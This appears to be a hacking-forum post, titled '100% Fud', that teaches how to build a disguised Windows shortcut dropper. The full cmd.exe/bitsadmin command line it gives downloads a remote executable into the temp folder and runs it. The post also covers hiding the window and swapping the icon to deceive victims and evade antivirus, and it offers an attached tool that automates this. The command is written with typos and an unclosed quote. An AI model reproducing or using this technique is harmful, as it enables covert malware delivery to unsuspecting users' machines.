100% Fud

100% Fud
Well it simply use a shortcut to start a new Windows Shell with two command lines :

One to download a remote fileSecond to execute the temporary downloaded file

Do it manually :

Just create a new shortcut, from your desktop then enter the following link :

cmd.exe /C "%windir%\system32\bitsadmin.exe /transfert downloader /priority normal http://example.com/test.exe %temp%\tmp.exe & %temp%\tmp.exe

As you can see, the shortcut will execute the Microsoft program bitsadmin in downloader mode to remote download a file and store in temp folder.

Then it will run it.

It is not finish, switch now the shortcut visibility to start minimized.

And you can change the icon with any icons you want (better use an icon index from shell32.dll located in system32 folder)

Have fun !

You can do lot of interesting thing with bitsadmin, I have many other methods to exploit file downloading using this techniques, will write other example later :)

Do it automatically (Lazy method):

As in the above video, download the attached application and voila !